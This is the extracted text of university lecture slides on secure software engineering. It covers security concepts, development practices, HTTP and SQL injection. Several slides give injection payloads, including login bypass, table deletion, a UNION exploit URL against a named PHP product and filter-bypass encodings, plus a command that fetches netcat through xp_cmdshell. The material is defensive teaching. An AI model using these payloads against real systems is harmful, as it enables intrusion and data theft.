Secure Software Engineering

James Walden Northern Kentucky University

Course Information

Prerequisites CSC 540, CSC 582 Web Site http://faculty.cs.nku.edu/~waldenj/classes/2015/spring/csc666/ Textbooks

Software Security,

Gary McGraw, Addison Wesley, 2006.

Secure Programming with Static Analysis

, Brian Chess and Jacob West, Addison-Wesley, 2007.

CSC 666: Secure Software Engineering

Topics

1. Security Concepts 2. The Software Security Problem 3. Processes and Touchpoints 4. Web Application Vulnerabilities 5. An Example Vulnerability: SQL Injection CSC 666: Secure Software Engineering

What is Security?

Security is the

prevention

of certain types of

intentional

actions from occurring in a system.

 The actors who may attack a system are

threats

.

 Threats carry out

attacks

system.

to compromise a  Objects of attacks are

assets

.

The Value of a Hacked PC

http://krebsonsecurity.com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/

Safety vs Security

Adversary

: An intelligent attacker who intentionally causes the system to fail.

Safety

• Home: fire alarm.

• Car: crumple zones.

• Computer: UPS.

Security

• Home: door lock.

• Car: alarm.

• Computer: Login password.

Safety and security can interact: Who is watching your computer room after the fire alarm was pulled?

Components of Security

Integrity Confidentiality Availability

Confidentiality

Confidentiality

is the avoidance of the unauthorized disclosure of information. Examples where confidentiality is critical:  Personal information   Trade secrets Military plans

Security Controls for Confidentiality

Access Control:

rules and policies that limit access to certain people and/or systems.

  File permissions (which users can access) Firewall settings (which IP addresses can access)

Encryption:

transforming information so that it can only be read using a secret key.

 AES  SSL

Integrity

Integrity

is the property that information has not be altered in an unauthorized way.

Examples where integrity is critical:  Operating system files   Software updates and downloads Bank account records

Security Controls for Integrity

 

Backups:

periodic archiving of data.

Checksums:

the computation of a function that maps the contents of a file to a numerical value. 

Intrusion detection:

systems that look for signatures of attacks or that verify that all system software matches correct checksums.

Availability

Availability

is the property that information is accessible and modifiable in a timely fashion by those authorized to do so.

Examples where availability is critical:   E-commerce site Authentication server for your network  Current stock quotes

Security Controls for Availability

Physical protections:

physical challenges.   Backup generators Disaster recovery site infrastructure meant to keep information available even in the event of

Computational redundancies:

case of failures.   Backup tapes RAID computers and storage devices that serve as fallbacks in the

Other Security Components

Authenticity Non-Repudiation Privacy

States of Information

1. Storage: information in permanent storage (disk or tape) that is not currently being accessed.

2. Processing: information in memory (RAM or cache) that is currently being used by a program.

3. Transmission: information in transit between one node and another on a network.

Securing Information in All States

Information in Processing Internet Information in Transmission Information in Storage

Traditional Security is Reactive

 Perimeter defense (firewalls)  Intrusion detection (anti-virus)  Over-reliance on cryptography  Penetrate and patch  Penetration testing CSC 666: Secure Software Engineering

The Problem is Software

“75% of hacks happen at the application.” - Theresa Lanowitz, Gartner Inc.

“92% of reported vulnerabilities are in apps, not networks.” - NIST “64% of developers are not confident in their ability to write secure code.” - Bill Gates CSC 666: Secure Software Engineering

Vulnerabilities are Common

CSC 666: Secure Software Engineering

Motivations

CSC 666: Secure Software Engineering

Trinity of Trouble

Connectivity  Ubquitious Internet; wireless & mobile computing.

Complexity  Networked, distributed code that can interact with intermediate caches, ad proxies, etc.

Extensibility  Systems evolve in unexpected ways, e.g. web browsers, which support many formats, add ons, plugins, programming languages, etc.

CSC 666: Secure Software Engineering

SSE Objectives

1.

Dependability:

intended; software functions only as

2. Trustworthiness

: No exploitable vulnerabilities or malicious logic exist in the software; 3.

Resilience:

If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity; 4.

Conformance

: to requirements and applicable standards and procedures.

CSC 666: Secure Software Engineering

Security Standards and Certs

  ISO 15408 Common Criteria  PCI Data Security Standard 

Requirement 6:

Develop and maintain secure systems and applications  SANS GIAC Secure Software Programmer  http://www.sans-ssi.org/ Many standards indirectly impact SSE  FISMA  SOX CSC 666: Secure Software Engineering

Secure Development Processes

      CLASP (Comprehensive, Lightweight Application Security Process) Correctness-by-Construction (formal methods based process from Praxis Critical Systems) MS SDL (Microsoft Secure Development Lifecycle) SSE CMM (Secure Software Engineering Capability Maturity Model) TSP-Secure (Team Software Process for Secure Software Development) Touchpoints CSC 666: Secure Software Engineering

Software Security Practices

1. Code Reviews 2. Risk Analysis 3. Penetration Testing

Abuse Cases Risk Analysis

4. Security Testing 5. Abuse Cases 6. Security Operations

Code Reviews + Static Analysis Security Testing Penetration Testing Security Operations Maintenance Requirements Design Coding Testing

CSC 666: Secure Software Engineering

Code Reviews

Fix implementation bugs, not design flaws.

Benefits of code reviews 1. Find defects sooner in the lifecycle.

2. Find defects with less effort than testing.

3. Find different defects than testing.

4. Educate developers about security flaws.

CSC 666: Secure Software Engineering

Architectural Risk Analysis

Fix design flaws, not implementation bugs.

Risk analysis steps 1. Develop an architecture model.

2. Identify threats and possible vulnerabilities.

3. Develop attack scenarios.

4. Rank risks based on probability and impact.

5. Develop mitigation strategy.

6. Report findings CSC 666: Secure Software Engineering

Penetration Testing

Test software in deployed environment.

Allocate time at end of development to test.

• Often time-boxed: test for n days.

• Schedule slips often reduce testing time.

• Fixing flaws is expensive late in lifecycle.

Penetration testing tools • Test common vulnerability types against inputs.

• Fuzzing: send random data to inputs.

• Don’t understand application structure or purpose.

CSC 666: Secure Software Engineering

Functional testing will find missing functionality.

Security Testing

Injection flaws, buffer overflows, XSS, etc.

Intendended Functionality CSC 666: Secure Software Engineering Actual Functionality

Security Testing

Two types of testing

Functional:

verify security mechanisms.

Adversarial:

verify resistance to attacks generated during risk analysis.

Different from traditional penetration testing • White box.

• Use risk analysis to build tests.

• Measure security against risk model.

CSC 666: Secure Software Engineering

Abuse Cases

Anti-requirements Think about what software should not do.

A use case from an adversary’s point of view.

• Obtain Another User’s CC Data.

• Alter Item Price.

• Deny Service to Application.

Developing abuse cases Informed brainstorming: attack patterns, risks.

CSC 666: Secure Software Engineering

Security Operations

User security notes • Software should be secure by default.

• Enabling certain features may have risks.

• User needs to be informed of security risks.

Incident response • What happens when a vulnerability is reported?

• How do you communicate with users?

• How do you send updates to users?

CSC 666: Secure Software Engineering

Web Application Vulnerabilities

Input-based Security Problems  Injection Flaws  Insecure Remote File Inclusion  Unvalidated Input Authentication and Authorization  Authentication   Access Control Cross-Site Scripting Other Bugs  Error Handling and Information Leakage   Insecure Storage Insecure Communications CSC 666: Secure Software Engineering

HTTP: HyperText Transfer Protocol

Simple request/response protocol   Request methods: GET, POST, HEAD, etc.

Stateless: req#2 doesn’t know about req#1 HTTPS     HTTP wrapped in SSL/TLS encryption Protects data in transit to web server.

Doesn’t protect stored data.

Doesn’t protect server from being hacked.

CSC 666: Secure Software Engineering

HTTP Request

Method URL Protocol Version

GET http://www.google.com/ HTTP/1.1

Host: www.google.com

Headers

User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5

Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4

Blank Line No Data for GET

CSC 666: Secure Software Engineering

HTTP POST Request

Method URL Protocol Version

POST http://www.example.com/ HTTP/1.1

Host: www.example.com

Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5

Headers

User-Agent: Mozilla/5.0 (Windows NT 5.1)

Blank Line

name=Jane+Doe&sex=female&color=green&ove r6feet=true&over200pounds=false&athletic ability=NA

POST data

CSC 482/582: Computer Security Slide #36

HTTP Methods

Method

GET HEAD PUT DELETE OPTIONS POST

Description

Retrieve resource located at specified URI.

Retrieve metadata about resource located at specified URI. Useful for caches to determine if they need to retrieve an updated resource.

Create or replace resource located at specified URI with resource provided by client.

Delete resource located at specified URI.

Return list of HTTP methods that can be used with specified URI.

Create a new resource under the specified URI, e.g. adding a new message in a web forum, adding a comment to a blog post, annotating a photo, etc. In summary, POST is a way for a client to create a new resource without knowing its URI; the client just knows the URI of a “parent” or “factory” resource.

CIT 480: Securing Computer Systems

HTTP Response

Protocol Version HTTP Response Code Blank Line

HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Server: GWS/2.1

Headers

Date: Fri, 13 Oct 2006 03:16:30 GMT ...

(page data)

...

Web Page Data

CSC 666: Secure Software Engineering

HTTP GET Parameters

http://ex.com/path/app.cgi?param1=val1¶m2=val2 Format  parameter_name=value  Multiple parameters separated by & URI encoding  Encode chars as ISO-Latin hex val: %XY   Special characters must be encoded.

Any character may be encoded.

CSC 666: Secure Software Engineering

HTTP POST Parameters

POST /path/app.cgi HTTP/1.0

Content-Type: application/x-www-form-urlencoded Content-Length: 32 param1=value1¶m2=value2 Format  parameter_name=value  Multiple parameters separated by & URI encoding CSC 666: Secure Software Engineering

Cookies

HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01-Jan-2038 23:59:59UCT GET /path/app.cgi HTTP/1.1

Host: ex.com

Cookie: Name=Value Cookie Format   Only sent to URLs that match path, domain.

Sent only via SSL if secure specified.

 Expires on date or when browser closed.

CSC 666: Secure Software Engineering

Example Vulnerability: Injection

 Injection attacks trick an application into including unintended commands in the data send to an interpreter.

 Interpreters   Interpret strings as commands.

Ex: SQL, shell (cmd.exe, bash), LDAP, XPath  Key Idea  Input data from the application is executed as code by the interpreter.

CSC 666: Secure Software Engineering

SQL Injection

Attacker 1. App sends form to user.

2. Attacker submits form with SQL exploit data.

3. Application builds string with exploit data.

4. Application sends SQL query to DB.

5. DB executes query, including exploit, sends data back to application.

6. Application returns data to user.

Web Server CSC 666: Secure Software Engineering User ‘ or 1=1- Pass Firewall DB Server

SQL Injection in PHP

$link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query); CSC 666: Secure Software Engineering

SQL Injection Attack #1

Unauthorized Access Attempt: password =

’ or 1=1 --

SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access.

CSC 666: Secure Software Engineering

SQL Injection Attack #2

Database Modification Attack: password = foo’; delete from table users where username like ‘% DB executes

two

SQL statements: select count(*) from users where

username = ‘user’

and

password = ‘foo’

delete from table users where username like ‘%’ CSC 666: Secure Software Engineering

Finding SQL Injection Bugs

1.

  Submit a single quote as input.

If an error results, app is vulnerable.

If no error, check for any output changes.

2.

 Submit two single quotes.

Databases use ’’ to represent literal ’  If error disappears, app is vulnerable.

3.

Try string or numeric operators.

 Oracle: ’||’FOO  2-2  MS-SQL: ‘+’FOO  81+19  MySQL: ’ ’FOO  49-ASCII(1) CSC 666: Secure Software Engineering

2008 Mass SQL Injection Attacks

  Estimated 1.5 million pages compromised.

Methodology  Identify vulnerable web applications.

 Use xp_cmdshell on MS SQL to download tools to compromised MS SQL server.

  Use fgdump to obtain Windows credentials.

Install backdoors that periodically contact their command & control servers.

 Search for credit cards or brute force passwords.

CSC 666: Secure Software Engineering

Real Estate Site Hacking

Exploit against http://phprealestatescript.com/ www.website.com/fullnews.php?id= 1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username, char(58),password),4,5/**/FROM/**/admin/* CSC 666: Secure Software Engineering

The Problem: String Building

Building a SQL command string with user input in any language is dangerous.

• Variable interpolation.

• String concatenation with variables.

• String format functions like sprintf() .

• String templating with variable replacement.

CSC 666: Secure Software Engineering

Mitigating SQL Injection

Partially Effective Mitigations

Blacklists Stored Procedures

Effective Mitigations

Whitelists Prepared Queries CSC 666: Secure Software Engineering

Ineffective Mitigation: Blacklist

Filter out known bad SQL metacharacters, such as single quotes.

Problems: 1.

Numeric parameters don’t use quotes.

2. URL escaped metacharacters.

3. Unicode encoded metacharacters.

4. Did you miss any metacharacters?

CSC 666: Secure Software Engineering

Bypassing Blacklist Filters

Different case SeLecT instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114) CSC 666: Secure Software Engineering

Ineffective Mitigation: Stored Procedures

SQL Stored Procedures build strings too: CREATE PROCEDURE dbo.doQuery(@id nchar(128) AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @query RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’# CSC 666: Secure Software Engineering

Mitigation: Whitelist

   Reject input that doesn’t match your list of safe characters to accept.

Identify what’s good, not what’s bad.

Reject input instead of attempting to repair.

Still have to deal with single quotes when required, such as in names.

CSC 666: Secure Software Engineering

Mitigation: Prepared Queries

require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from

users password

=

?

”; where

username

=

?

and $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data); CSC 666: Secure Software Engineering

Key Points

   The Trinity of Trouble SSE Goals  Dependability   Trustworthiness Resilience  Conformance Touchpoints  Code Reviews  Risk Analysis     Penetration Testing Security Testing Abuse Cases Security Operations CSC 666: Secure Software Engineering

Key Points

  Components of Security  Confidentiality  Integrity     Availability Authenticity Non-Repudiation Privacy Injection Vulnerabilities  Problem: Input data to application executed as code by a third party component, such as a command shell or database.

 Mitigations: - Avoid using an interpreter (complete mitigation).

- Whitelist validation (effective mitigation) - Blacklist validation (ineffective mitigation) CSC 666: Secure Software Engineering

References

1.

2.

3.

4.

5.

6.

7.

Brian Chess and Jacob West,

Secure Programming with Static Analysis

, Addison-Wesley, 2007.

CLASP, OWASP CLASP Project, http://www.owasp.org/index.php/Category:OWASP_CLASP_Proje ct , 2008.

Noopur Davis et. al., Processes for Producing Secure Software. IEEE Security & Privacy, May 2004.

Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software.

Enhancing the Development Life Cycle to Produce Secure Software : A Reference Guidebook on Software Assurance,

October 2008. Michael Howard and Steve Lipner,

The Security Development Lifecycle

, Microsoft Press, 2006.

Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development,” http://www.safecode.org/publications/SAFECode_Dev_Practices1 008.pdf

, October 2008.

Gary McGraw,

Software Security, Addison-Wesley

, 2006.

CSC 666: Secure Software Engineering